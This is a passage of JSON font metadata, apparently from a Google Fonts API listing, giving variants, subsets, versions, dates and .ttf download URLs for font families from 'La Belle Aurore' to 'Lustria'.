Aurore","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/labelleaurore/v11/RrQIbot8-mNYKnGNDkWlocovHeIIG-eFNVmULg.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Lacquer","variants":["regular"],"subsets":["latin"],"version":"v3","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/lacquer/v3/EYqzma1QwqpG4_BBB7-AXhttQ5I.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Laila","variants":["300","regular","500","600","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v7","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/laila/v7/LYjBdG_8nE8jDLzxogNAh14nVcfe.ttf","regular":"http://fonts.gstatic.com/s/laila/v7/LYjMdG_8nE8jDIRdiidIrEIu.ttf","500":"http://fonts.gstatic.com/s/laila/v7/LYjBdG_8nE8jDLypowNAh14nVcfe.ttf","600":"http://fonts.gstatic.com/s/laila/v7/LYjBdG_8nE8jDLyFpANAh14nVcfe.ttf","700":"http://fonts.gstatic.com/s/laila/v7/LYjBdG_8nE8jDLzhpQNAh14nVcfe.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Lakki Reddy","variants":["regular"],"subsets":["latin","telugu"],"version":"v7","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/lakkireddy/v7/S6u5w49MUSzD9jlCPmvLZQfox9k97-xZ.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Lalezar","variants":["regular"],"subsets":["arabic","latin","latin-ext","vietnamese"],"version":"v8","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/lalezar/v8/zrfl0HLVx-HwTP82UaDyIiL0RCg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Lancelot","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/lancelot/v10/J7acnppxBGtQEulG4JY4xJ9CGyAa.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Langar","variants":["regular"],"subsets":["gurmukhi","latin","latin-ext"],"version":"v11","lastModified":"2020-12-08","files":{"regular":"http://fonts.gstatic.com/s/langar/v11/kJEyBukW7AIlgjGVrTVZ99sqrQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Lateef","variants":["regular"],"subsets":["arabic","latin"],"version":"v16","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/lateef/v16/hESw6XVnNCxEvkbMpheEZo_H_w.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Lato","variants":["100","100italic","300","300italic","regular","italic","700","700italic","900","900italic"],"subsets":["latin","latin-ext"],"version":"v17","lastModified":"2020-09-15","files":{"100":"http://fonts.gstatic.com/s/lato/v17/S6u8w4BMUTPHh30wWyWrFCbw7A.ttf","100italic":"http://fonts.gstatic.com/s/lato/v17/S6u-w4BMUTPHjxsIPy-vNiPg7MU0.ttf","300":"http://fonts.gstatic.com/s/lato/v17/S6u9w4BMUTPHh7USew-FGC_p9dw.ttf","300italic":"http://fonts.gstatic.com/s/lato/v17/S6u_w4BMUTPHjxsI9w2PHA3s5dwt7w.ttf","regular":"http://fonts.gstatic.com/s/lato/v17/S6uyw4BMUTPHvxk6XweuBCY.ttf","italic":"http://fonts.gstatic.com/s/lato/v17/S6u8w4BMUTPHjxswWyWrFCbw7A.ttf","700":"http://fonts.gstatic.com/s/lato/v17/S6u9w4BMUTPHh6UVew-FGC_p9dw.ttf","700italic":"http://fonts.gstatic.com/s/lato/v17/S6u_w4BMUTPHjxsI5wqPHA3s5dwt7w.ttf","900":"http://fonts.gstatic.com/s/lato/v17/S6u9w4BMUTPHh50Xew-FGC_p9dw.ttf","900italic":"http://fonts.gstatic.com/s/lato/v17/S6u_w4BMUTPHjxsI3wiPHA3s5dwt7w.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"League Script","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/leaguescript/v12/CSR54zpSlumSWj9CGVsoBZdeaNNUuOwkC2s.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Leckerli One","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/leckerlione/v11/V8mCoQH8VCsNttEnxnGQ-1itLZxcBtItFw.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Ledger","variants":["regular"],"subsets":["cyrillic","latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/ledger/v9/j8_q6-HK1L3if_sxm8DwHTBhHw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Lekton","variants":["regular","italic","700"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/lekton/v11/SZc43FDmLaWmWpBeXxfonUPL6Q.ttf","italic":"http://fonts.gstatic.com/s/lekton/v11/SZc63FDmLaWmWpBuXR3sv0bb6StO.ttf","700":"http://fonts.gstatic.com/s/lekton/v11/SZc73FDmLaWmWpBm4zjMlWjX4DJXgQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Lemon","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/lemon/v9/HI_EiYEVKqRMq0jBSZXAQ4-d.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Lemonada","variants":["300","regular","500","600","700"],"subsets":["arabic","latin","latin-ext","vietnamese"],"version":"v11","lastModified":"2020-06-26","files":{"300":"http://fonts.gstatic.com/s/lemonada/v11/0QI-MXFD9oygTWy_R-FFlwV-bgfR7QJGJOt2mfWc3Z2pTg.ttf","regular":"http://fonts.gstatic.com/s/lemonada/v11/0QI-MXFD9oygTWy_R-FFlwV-bgfR7QJGeut2mfWc3Z2pTg.ttf","500":"http://fonts.gstatic.com/s/lemonada/v11/0QI-MXFD9oygTWy_R-FFlwV-bgfR7QJGSOt2mfWc3Z2pTg.ttf","600":"http://fonts.gstatic.com/s/lemonada/v11/0QI-MXFD9oygTWy_R-FFlwV-bgfR7QJGpOx2mfWc3Z2pTg.ttf","700":"http://fonts.gstatic.com/s/lemonada/v11/0QI-MXFD9oygTWy_R-FFlwV-bgfR7QJGnex2mfWc3Z2pTg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Lexend Deca","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v4","lastModified":"2020-11-20","files":{"regular":"http://fonts.gstatic.com/s/lexenddeca/v4/K2F1fZFYk-dHSE0UPPuwQ6qgLS76ZHOM.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Lexend Exa","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v4","lastModified":"2020-11-20","files":{"regular":"http://fonts.gstatic.com/s/lexendexa/v4/UMBXrPdOoHOnxExyjdBeWirXArM58BY.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Lexend Giga","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v4","lastModified":"2020-11-20","files":{"regular":"http://fonts.gstatic.com/s/lexendgiga/v4/PlI5Fl67Mah5Y8yMHE7lkVxEt8CwfGaD.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Lexend Mega","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v4","lastModified":"2020-11-20","files":{"regular":"http://fonts.gstatic.com/s/lexendmega/v4/qFdA35aBi5JtHD41zSTFEv7K6BsAikI7.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Lexend Peta","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v4","lastModified":"2020-11-20","files":{"regular":"http://fonts.gstatic.com/s/lexendpeta/v4/BXRvvFPGjeLPh0kCfI4OkE_1c8Tf1IW3.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Lexend Tera","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v4","lastModified":"2020-11-20","files":{"regular":"http://fonts.gstatic.com/s/lexendtera/v4/RrQUbo98_jt_IXnBPwCWtZhARYMgGtWA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Lexend Zetta","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v4","lastModified":"2020-11-20","files":{"regular":"http://fonts.gstatic.com/s/lexendzetta/v4/ll87K2KYXje7CdOFnEWcU8soliQejRR7AQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Libre Barcode 128","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/librebarcode128/v10/cIfnMbdUsUoiW3O_hVviCwVjuLtXeJ_A_gMk0izH.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Libre Barcode 128 Text","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/librebarcode128text/v10/fdNv9tubt3ZEnz1Gu3I4-zppwZ9CWZ16Z0w5cV3Y6M90w4k.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Libre Barcode 39","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/librebarcode39/v10/-nFnOHM08vwC6h8Li1eQnP_AHzI2K_d709jy92k.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Libre Barcode 39 Extended","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/librebarcode39extended/v9/8At7Gt6_O5yNS0-K4Nf5U922qSzhJ3dUdfJpwNUgfNRCOZ1GOBw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Libre Barcode 39 Extended Text","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/librebarcode39extendedtext/v9/eLG1P_rwIgOiDA7yrs9LoKaYRVLQ1YldrrOnnL7xPO4jNP68fLIiPopNNA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Libre Barcode 39 Text","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/librebarcode39text/v10/sJoa3KhViNKANw_E3LwoDXvs5Un0HQ1vT-031RRL-9rYaw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Libre Barcode EAN13 Text","variants":["regular"],"subsets":["latin"],"version":"v1","lastModified":"2020-11-03","files":{"regular":"http://fonts.gstatic.com/s/librebarcodeean13text/v1/wlpigxXFDU1_oCu9nfZytgIqSG0XRcJm_OQiB96PAGEki52WfA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Libre Baskerville","variants":["regular","italic","700"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/librebaskerville/v9/kmKnZrc3Hgbbcjq75U4uslyuy4kn0pNeYRI4CN2V.ttf","italic":"http://fonts.gstatic.com/s/librebaskerville/v9/kmKhZrc3Hgbbcjq75U4uslyuy4kn0qNcaxYaDc2V2ro.ttf","700":"http://fonts.gstatic.com/s/librebaskerville/v9/kmKiZrc3Hgbbcjq75U4uslyuy4kn0qviTjYwI8Gcw6Oi.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Libre Caslon Display","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v2","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/librecaslondisplay/v2/TuGOUUFxWphYQ6YI6q9Xp61FQzxDRKmzr2lRdRhtCC4d.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Libre Caslon Text","variants":["regular","italic","700"],"subsets":["latin","latin-ext"],"version":"v2","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/librecaslontext/v2/DdT878IGsGw1aF1JU10PUbTvNNaDMcq_3eNrHgO1.ttf","italic":"http://fonts.gstatic.com/s/librecaslontext/v2/DdT678IGsGw1aF1JU10PUbTvNNaDMfq91-dJGxO1q9o.ttf","700":"http://fonts.gstatic.com/s/librecaslontext/v2/DdT578IGsGw1aF1JU10PUbTvNNaDMfID8sdjNR-8ssPt.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Libre Franklin","variants":["100","200","300","regular","500","600","700","800","900","100italic","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-11-06","files":{"100":"http://fonts.gstatic.com/s/librefranklin/v6/jizOREVItHgc8qDIbSTKq4XkRg8T88bjFuXOnduhLsSUB9rIb-JH1g.ttf","200":"http://fonts.gstatic.com/s/librefranklin/v6/jizOREVItHgc8qDIbSTKq4XkRg8T88bjFuXOnduhrsWUB9rIb-JH1g.ttf","300":"http://fonts.gstatic.com/s/librefranklin/v6/jizOREVItHgc8qDIbSTKq4XkRg8T88bjFuXOnduhcMWUB9rIb-JH1g.ttf","regular":"http://fonts.gstatic.com/s/librefranklin/v6/jizOREVItHgc8qDIbSTKq4XkRg8T88bjFuXOnduhLsWUB9rIb-JH1g.ttf","500":"http://fonts.gstatic.com/s/librefranklin/v6/jizOREVItHgc8qDIbSTKq4XkRg8T88bjFuXOnduhHMWUB9rIb-JH1g.ttf","600":"http://fonts.gstatic.com/s/librefranklin/v6/jizOREVItHgc8qDIbSTKq4XkRg8T88bjFuXOnduh8MKUB9rIb-JH1g.ttf","700":"http://fonts.gstatic.com/s/librefranklin/v6/jizOREVItHgc8qDIbSTKq4XkRg8T88bjFuXOnduhycKUB9rIb-JH1g.ttf","800":"http://fonts.gstatic.com/s/librefranklin/v6/jizOREVItHgc8qDIbSTKq4XkRg8T88bjFuXOnduhrsKUB9rIb-JH1g.ttf","900":"http://fonts.gstatic.com/s/librefranklin/v6/jizOREVItHgc8qDIbSTKq4XkRg8T88bjFuXOnduhh8KUB9rIb-JH1g.ttf","100italic":"http://fonts.gstatic.com/s/librefranklin/v6/jizMREVItHgc8qDIbSTKq4XkRiUawTk7f45UM9y05oZ8RdDMTedX1sGE.ttf","200italic":"http://fonts.gstatic.com/s/librefranklin/v6/jizMREVItHgc8qDIbSTKq4XkRiUawTk7f45UM9y05ob8RNDMTedX1sGE.ttf","300italic":"http://fonts.gstatic.com/s/librefranklin/v6/jizMREVItHgc8qDIbSTKq4XkRiUawTk7f45UM9y05oYiRNDMTedX1sGE.ttf","italic":"http://fonts.gstatic.com/s/librefranklin/v6/jizMREVItHgc8qDIbSTKq4XkRiUawTk7f45UM9y05oZ8RNDMTedX1sGE.ttf","500italic":"http://fonts.gstatic.com/s/librefranklin/v6/jizMREVItHgc8qDIbSTKq4XkRiUawTk7f45UM9y05oZORNDMTedX1sGE.ttf","600italic":"http://fonts.gstatic.com/s/librefranklin/v6/jizMREVItHgc8qDIbSTKq4XkRiUawTk7f45UM9y05oaiQ9DMTedX1sGE.ttf","700italic":"http://fonts.gstatic.com/s/librefranklin/v6/jizMREVItHgc8qDIbSTKq4XkRiUawTk7f45UM9y05oabQ9DMTedX1sGE.ttf","800italic":"http://fonts.gstatic.com/s/librefranklin/v6/jizMREVItHgc8qDIbSTKq4XkRiUawTk7f45UM9y05ob8Q9DMTedX1sGE.ttf","900italic":"http://fonts.gstatic.com/s/librefranklin/v6/jizMREVItHgc8qDIbSTKq4XkRiUawTk7f45UM9y05obVQ9DMTedX1sGE.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Life Savers","variants":["regular","700","800"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/lifesavers/v11/ZXuie1UftKKabUQMgxAal_lrFgpbuNvB.ttf","700":"http://fonts.gstatic.com/s/lifesavers/v11/ZXu_e1UftKKabUQMgxAal8HXOS5Tk8fIpPRW.ttf","800":"http://fonts.gstatic.com/s/lifesavers/v11/ZXu_e1UftKKabUQMgxAal8HLOi5Tk8fIpPRW.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Lilita One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/lilitaone/v8/i7dPIFZ9Zz-WBtRtedDbUEZ2RFq7AwU.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Lily Script One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/lilyscriptone/v8/LhW9MV7ZMfIPdMxeBjBvFN8SXLS4gsSjQNsRMg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Limelight","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/limelight/v11/XLYkIZL7aopJVbZJHDuYPeNGrnY2TA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Linden Hill","variants":["regular","italic"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/lindenhill/v10/-F61fjxoKSg9Yc3hZgO8ygFI7CwC009k.ttf","italic":"http://fonts.gstatic.com/s/lindenhill/v10/-F63fjxoKSg9Yc3hZgO8yjFK5igg1l9kn-s.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Literata","variants":["200","300","regular","500","600","700","800","900","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v18","lastModified":"2020-11-20","files":{"200":"http://fonts.gstatic.com/s/literata/v18/or3PQ6P12-iJxAIgLa78DkrbXsDgk0oVDaDPYLanFLHpPf2TbJG_F_bcTWCWp8g.ttf","300":"http://fonts.gstatic.com/s/literata/v18/or3PQ6P12-iJxAIgLa78DkrbXsDgk0oVDaDPYLanFLHpPf2TbE-_F_bcTWCWp8g.ttf","regular":"http://fonts.gstatic.com/s/literata/v18/or3PQ6P12-iJxAIgLa78DkrbXsDgk0oVDaDPYLanFLHpPf2TbBG_F_bcTWCWp8g.ttf","500":"http://fonts.gstatic.com/s/literata/v18/or3PQ6P12-iJxAIgLa78DkrbXsDgk0oVDaDPYLanFLHpPf2TbCO_F_bcTWCWp8g.ttf","600":"http://fonts.gstatic.com/s/literata/v18/or3PQ6P12-iJxAIgLa78DkrbXsDgk0oVDaDPYLanFLHpPf2TbM-4F_bcTWCWp8g.ttf","700":"http://fonts.gstatic.com/s/literata/v18/or3PQ6P12-iJxAIgLa78DkrbXsDgk0oVDaDPYLanFLHpPf2TbPa4F_bcTWCWp8g.ttf","800":"http://fonts.gstatic.com/s/literata/v18/or3PQ6P12-iJxAIgLa78DkrbXsDgk0oVDaDPYLanFLHpPf2TbJG4F_bcTWCWp8g.ttf","900":"http://fonts.gstatic.com/s/literata/v18/or3PQ6P12-iJxAIgLa78DkrbXsDgk0oVDaDPYLanFLHpPf2TbLi4F_bcTWCWp8g.ttf","200italic":"http://fonts.gstatic.com/s/literata/v18/or3NQ6P12-iJxAIgLYT1PLs1Zd0nfUwAbeGVKoRYzNiCp1OUedn8f7XWSUKTt8iVow.ttf","300italic":"http://fonts.gstatic.com/s/literata/v18/or3NQ6P12-iJxAIgLYT1PLs1Zd0nfUwAbeGVKoRYzNiCp1OUedn8obXWSUKTt8iVow.ttf","italic":"http://fonts.gstatic.com/s/literata/v18/or3NQ6P12-iJxAIgLYT1PLs1Zd0nfUwAbeGVKoRYzNiCp1OUedn8_7XWSUKTt8iVow.ttf","500italic":"http://fonts.gstatic.com/s/literata/v18/or3NQ6P12-iJxAIgLYT1PLs1Zd0nfUwAbeGVKoRYzNiCp1OUedn8zbXWSUKTt8iVow.ttf","600italic":"http://fonts.gstatic.com/s/literata/v18/or3NQ6P12-iJxAIgLYT1PLs1Zd0nfUwAbeGVKoRYzNiCp1OUedn8IbLWSUKTt8iVow.ttf","700italic":"http://fonts.gstatic.com/s/literata/v18/or3NQ6P12-iJxAIgLYT1PLs1Zd0nfUwAbeGVKoRYzNiCp1OUedn8GLLWSUKTt8iVow.ttf","800italic":"http://fonts.gstatic.com/s/literata/v18/or3NQ6P12-iJxAIgLYT1PLs1Zd0nfUwAbeGVKoRYzNiCp1OUedn8f7LWSUKTt8iVow.ttf","900italic":"http://fonts.gstatic.com/s/literata/v18/or3NQ6P12-iJxAIgLYT1PLs1Zd0nfUwAbeGVKoRYzNiCp1OUedn8VrLWSUKTt8iVow.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Liu Jian Mao Cao","variants":["regular"],"subsets":["chinese-simplified","latin"],"version":"v5","lastModified":"2019-11-05","files":{"regular":"http://fonts.gstatic.com/s/liujianmaocao/v5/845DNN84HJrccNonurqXILGpvCOoferVKGWsUo8.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Livvic","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","900","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v5","lastModified":"2020-09-25","files":{"100":"http://fonts.gstatic.com/s/livvic/v5/rnCr-x1S2hzjrlffC-M-mHnOSOuk.ttf","100italic":"http://fonts.gstatic.com/s/livvic/v5/rnCt-x1S2hzjrlfXbdtakn3sTfukQHs.ttf","200":"http://fonts.gstatic.com/s/livvic/v5/rnCq-x1S2hzjrlffp8IeslfCQfK9WQ.ttf","200italic":"http://fonts.gstatic.com/s/livvic/v5/rnCs-x1S2hzjrlfXbdv2s13GY_etWWIJ.ttf","300":"http://fonts.gstatic.com/s/livvic/v5/rnCq-x1S2hzjrlffw8EeslfCQfK9WQ.ttf","300italic":"http://fonts.gstatic.com/s/livvic/v5/rnCs-x1S2hzjrlfXbduSsF3GY_etWWIJ.ttf","regular":"http://fonts.gstatic.com/s/livvic/v5/rnCp-x1S2hzjrlfnb-k6unzeSA.ttf","italic":"http://fonts.gstatic.com/s/livvic/v5/rnCr-x1S2hzjrlfXbeM-mHnOSOuk.ttf","500":"http://fonts.gstatic.com/s/livvic/v5/rnCq-x1S2hzjrlffm8AeslfCQfK9WQ.ttf","500italic":"http://fonts.gstatic.com/s/livvic/v5/rnCs-x1S2hzjrlfXbdvKsV3GY_etWWIJ.ttf","600":"http://fonts.gstatic.com/s/livvic/v5/rnCq-x1S2hzjrlfft8ceslfCQfK9WQ.ttf","600italic":"http://fonts.gstatic.com/s/livvic/v5/rnCs-x1S2hzjrlfXbdvmtl3GY_etWWIJ.ttf","700":"http://fonts.gstatic.com/s/livvic/v5/rnCq-x1S2hzjrlff08YeslfCQfK9WQ.ttf","700italic":"http://fonts.gstatic.com/s/livvic/v5/rnCs-x1S2hzjrlfXbduCt13GY_etWWIJ.ttf","900":"http://fonts.gstatic.com/s/livvic/v5/rnCq-x1S2hzjrlff68QeslfCQfK9WQ.ttf","900italic":"http://fonts.gstatic.com/s/livvic/v5/rnCs-x1S2hzjrlfXbdu6tV3GY_etWWIJ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Lobster","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v23","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/lobster/v23/neILzCirqoswsqX9_oWsMqEzSJQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Lobster Two","variants":["regular","italic","700","700italic"],"subsets":["latin"],"version":"v13","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/lobstertwo/v13/BngMUXZGTXPUvIoyV6yN59fK7KSJ4ACD.ttf","italic":"http://fonts.gstatic.com/s/lobstertwo/v13/BngOUXZGTXPUvIoyV6yN5-fI5qCr5RCDY_k.ttf","700":"http://fonts.gstatic.com/s/lobstertwo/v13/BngRUXZGTXPUvIoyV6yN5-92w4CByxyKeuDp.ttf","700italic":"http://fonts.gstatic.com/s/lobstertwo/v13/BngTUXZGTXPUvIoyV6yN5-fI3hyEwRiof_DpXMY.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Londrina Outline","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/londrinaoutline/v11/C8c44dM8vmb14dfsZxhetg3pDH-SfuoxrSKMDvI.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Londrina Shadow","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/londrinashadow/v10/oPWX_kB4kOQoWNJmjxLV5JuoCUlXRlaSxkrMCQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Londrina Sketch","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/londrinasketch/v9/c4m41npxGMTnomOHtRU68eIJn8qfWWn5Pos6CA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Londrina Solid","variants":["100","300","regular","900"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/londrinasolid/v10/flUjRq6sw40kQEJxWNgkLuudGfs9KBYesZHhV64.ttf","300":"http://fonts.gstatic.com/s/londrinasolid/v10/flUiRq6sw40kQEJxWNgkLuudGfv1CjY0n53oTrcL.ttf","regular":"http://fonts.gstatic.com/s/londrinasolid/v10/flUhRq6sw40kQEJxWNgkLuudGcNZIhI8tIHh.ttf","900":"http://fonts.gstatic.com/s/londrinasolid/v10/flUiRq6sw40kQEJxWNgkLuudGfvdDzY0n53oTrcL.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Long Cang","variants":["regular"],"subsets":["chinese-simplified","latin"],"version":"v5","lastModified":"2019-11-05","files":{"regular":"http://fonts.gstatic.com/s/longcang/v5/LYjAdGP8kkgoTec8zkRgrXArXN7HWQ.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Lora","variants":["regular","500","600","700","italic","500italic","600italic","700italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v16","lastModified":"2020-06-26","files":{"regular":"http://fonts.gstatic.com/s/lora/v16/0QI6MX1D_JOuGQbT0gvTJPa787weuyJGmKxemMeZ.ttf","500":"http://fonts.gstatic.com/s/lora/v16/0QI6MX1D_JOuGQbT0gvTJPa787wsuyJGmKxemMeZ.ttf","600":"http://fonts.gstatic.com/s/lora/v16/0QI6MX1D_JOuGQbT0gvTJPa787zAvCJGmKxemMeZ.ttf","700":"http://fonts.gstatic.com/s/lora/v16/0QI6MX1D_JOuGQbT0gvTJPa787z5vCJGmKxemMeZ.ttf","italic":"http://fonts.gstatic.com/s/lora/v16/0QI8MX1D_JOuMw_hLdO6T2wV9KnW-MoFkqh8ndeZzZ0.ttf","500italic":"http://fonts.gstatic.com/s/lora/v16/0QI8MX1D_JOuMw_hLdO6T2wV9KnW-PgFkqh8ndeZzZ0.ttf","600italic":"http://fonts.gstatic.com/s/lora/v16/0QI8MX1D_JOuMw_hLdO6T2wV9KnW-BQCkqh8ndeZzZ0.ttf","700italic":"http://fonts.gstatic.com/s/lora/v16/0QI8MX1D_JOuMw_hLdO6T2wV9KnW-C0Ckqh8ndeZzZ0.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Love Ya Like A Sister","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/loveyalikeasister/v11/R70EjzUBlOqPeouhFDfR80-0FhOqJubN-Be78nZcsGGycA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Loved by the King","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/lovedbytheking/v10/Gw6gwdP76VDVJNXerebZxUMeRXUF2PiNlXFu2R64.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Lovers Quarrel","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/loversquarrel/v8/Yq6N-LSKXTL-5bCy8ksBzpQ_-zAsY7pO6siz.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Luckiest Guy","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/luckiestguy/v11/_gP_1RrxsjcxVyin9l9n_j2RStR3qDpraA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Lusitana","variants":["regular","700"],"subsets":["latin"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/lusitana/v8/CSR84z9ShvucWzsMKxhaRuMiSct_.ttf","700":"http://fonts.gstatic.com/s/lusitana/v8/CSR74z9ShvucWzsMKyDmaccqYtd2vfwk.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Lustria","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/lustria/v8/9oRONYodvDEyjuhOrCg5MtPyAcg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"M PLUS 